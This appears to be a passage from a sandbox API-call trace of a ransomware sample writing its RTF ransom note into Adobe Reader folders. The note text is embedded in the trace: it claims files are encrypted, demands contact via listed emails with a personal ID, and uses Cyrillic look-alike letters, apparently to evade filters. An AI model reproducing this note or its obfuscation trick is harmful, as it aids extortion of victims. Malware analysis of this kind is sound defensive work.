r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.363] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.364] CloseHandle (hObject=0x1ac) returned 1 [0042.364] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\!bwng_info!.rtf")) returned 0xffffffff [0042.364] GetLastError () returned 0x2 [0042.364] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur 